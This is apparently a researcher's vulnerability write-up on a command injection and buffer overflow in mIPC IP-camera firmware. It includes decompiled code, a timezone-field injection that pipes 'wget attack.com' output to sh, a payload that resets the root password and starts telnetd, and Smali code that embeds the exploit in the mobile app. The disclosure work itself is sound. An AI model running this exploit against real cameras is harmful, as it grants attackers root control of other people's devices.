mIPC firmware RCE

By Joshua Wang

Firmware version: v5.3.1.2003161406 (latest?)

Overview

Unsanitized input when setting a `UTC(\+|\-).*` locale file leads to shell injection. A stack-based buffer overflow also exists. This allows an attacker to gain remote code execution, but requires the attacker to be authenticated in the mobile application to interface with the camera running mIPC.

Vulnerability

After receiving a firmware dump of a Lefun camera, which runs mIPC firmware, I noted the following in the startup process:

- telnetd is killed
- the root password is randomized and effectively un-bruteforceable

I turned to searching through the mIPC binary for calls to `system`, looking for possible injections.

The mIPC mobile application allows one to choose the timezone that the camera's system should operate with. I believe this is used for the on-screen display's time feature. One thing that stood out to me is that the firmware dump also included various different locale files for setting a timezone.

```
./backupfs/apps/app/ipc/data/cfg/zoneinfo/
├── UTC+00_00
├── UTC+01_00
├── UTC-01_00
├── UTC+02_00
├── UTC-02_00
├── UTC+03_00
├── UTC-03_00
├── UTC+03_30
├── UTC-03_30
├── UTC+04_00
├── UTC-04_00
├── UTC+04_30
├── UTC-04_30
├── UTC+05_00
├── UTC-05_00
├── UTC+05_30
├── UTC+05_45
├── UTC+06_00
├── UTC-06_00
├── UTC+06_30
├── UTC+07_00
├── UTC-07_00
├── UTC+08_00
├── UTC-08_00
├── UTC+09_00
├── UTC-09_00
├── UTC+09_30
├── UTC-09_30
├── UTC+10_00
├── UTC-10_00
├── UTC+10_30
├── UTC+11_00
├── UTC-11_00
├── UTC+12_00
├── UTC+13_00
└── UTC+14_00
```

The vulnerable function is found at offset `0x0013e91c` . I re-labeled and re-typed the decompilation in Ghidra.

```
int choose_utc_timezone(undefined4 param_1,char *param_2)
{
  int iVar1;
  char *pcVar2;
  char acStack192 [128];
  char acStack64 [40];

  if (param_2 == (char *)0x0) {
    iVar1 = -1;
  }
  else {
    strcpy(acStack64,param_2);
    pcVar2 = strchr(acStack64,0x3a);
    if (pcVar2 != (char *)0x0) {
      *pcVar2 = '_';
    }
    iVar1 = access("/etc/TZ",0);
    if (iVar1 == 0) {
      sprintf(acStack192,
              "cp ../../../apps/app/ipc/data/cfg/zoneinfo/%s /etc/TZ; cp /etc/TZ ..
              acStack64);
      system(acStack192);
    }
    else {
      sprintf(acStack192,
              "cp ../../../apps/app/ipc/data/cfg/zoneinfo/%s /etc/localtime; cp /et
              ,acStack64);
      system(acStack192);
      iVar1 = 0;
    }
  }
  return iVar1;
}
```

It appears that the name of a timezone filename is passed in through `param_2`. It is then strcpy'd to `acStack64`. Then, it is formatted into a shell command using `sprintf` and then passed to `system`. The command copies a selected locale file from the previously mentioned directory into `/etc/TZ`, effectively setting the locale.

It is important to note that mIPC by default uses another method to set a timezone besides copying a locale file, but these were not (to my knowledge) vulnerable due to sanitization.

In this function, we can see two vulnerabilities. First, the `strcpy` allows us to copy more than 40 bytes into `acStack64`. One may argue that a length check occurred outside of this function, but I verified it experimentally and it indeed crashed the binary.

Second, we can command-inject our way into the system! We just need our input to start with a valid locale filename (`UTC+01_00`, etc) in order for the binary to reach this function (I also verified this experimentally). I could not find the parent calling function, but it may be that the developer used a `strncmp` and only verified the first couple bytes of input to match a valid locale filename.

Exploitation

I decided to exploit the command injection. Using APKtool, I dumped the mIPC mobile application and reverse engineered the behavior that sets timezones.

I first instantiated a `mcld_ctx_time_set` object. The definition for it:

```
.class public Lcom/mining/cloud/bean/mcld/mcld_ctx_time_set;
.super Lcom/mining/cloud/bean/mcld/mcld_ctx;
.source "mcld_ctx_time_set.java"


# instance fields
.field public auto_sync:I

.field public day:I

.field public hour:I

.field public min:I

.field public mon:I

.field public ntp_addr:Ljava/lang/String;

.field public sec:I

.field public timezone:Ljava/lang/String;

.field public type:Ljava/lang/String;

.field public year:I


# direct methods
.method public constructor <init>()V
    .locals 0

    .line 6
    invoke-direct {p0}, Lcom/mining/cloud/bean/mcld/mcld_ctx;-><init>()V

    return-void
.end method
```

The locale filename (`param_2`) is expected in the `timezone` field. Because of the buffer overflow, we are constrainted to < 40 characters in this injection, including the bytes at the beginning for a valid locale filename. Otherwise, we will crash the mIPC binary.

To circumvent this, I decided to host my actual payload on a remote server, and execute it by calling `wget` and piping the output into `sh` . This gives me unlimited access to the shell.

I set:

- type == `NTP`
- timezone == `UTC+01_00;wget -qO- attack.com|sh #`
- auto_sync = 1
- sn == a serial number I got from calling `McldActivityLivePlay->mSerialNumber`
- handler == `McldActivityLivePlay->customTimeSetHandler`

I then invoked `mcld_agent->time_set` with this object and a couple other retrieved configurations to set the locale. See here for the full thing.

My remote payload just consisted of changing the root password with `echo "root:root" | chpasswd` and starting telnetd. Recall that the root password is randomized on startup.

To make it easier for my coworker, Chris, to collect data (we were remote), I embedded my exploit into the `onCreate` method of the `McIdActivityLivePlay` class. This meant as soon as someone views the camera, the attack is run.

I re-compiled the application with apktool, signed it, and installed it via ADB.

Full payload

I learned way too much about Dalvik.

```
new-instance v1, Lcom/mining/cloud/bean/mcld/mcld_ctx_time_set;

invoke-direct {v1}, Lcom/mining/cloud/bean/mcld/mcld_ctx_time_set;-><init>()V


const-string v2, "NTP"


iput-object v2, v1, Lcom/mining/cloud/bean/mcld/mcld_ctx_time_set;->type:Ljava/


const-string v2, "UTC+01_00;wget -qO- attack.com|sh #"

iput-object v2, v1, Lcom/mining/cloud/bean/mcld/mcld_ctx_time_set;->timezone:Lj

const/4 v2, 0x1

iput v2, v1, Lcom/mining/cloud/bean/mcld/mcld_ctx_time_set;->auto_sync:I


iget-object v2, p0, Lcom/mining/cloud/activity/McldActivityLivePlay;->mSerialNu

iput-object v2, v1, Lcom/mining/cloud/bean/mcld/mcld_ctx_time_set;->sn:Ljava/la

iget-object v2, p0, Lcom/mining/cloud/activity/McldActivityLivePlay;->customTim

iput-object v2, v1, Lcom/mining/cloud/bean/mcld/mcld_ctx_time_set;->handler:Lan
```

```
iget-object v3, p0, Lcom/mining/cloud/activity/McldActivityLivePlay;->mApp:Lcom
iget-object v3, v3, Lcom/mining/cloud/application/McldApp;->mAgent:Lcom/mining/
invoke-virtual {v3, v1}, Lcom/mining/cloud/mcld_agent;->time_set(Lcom/mining/cl
```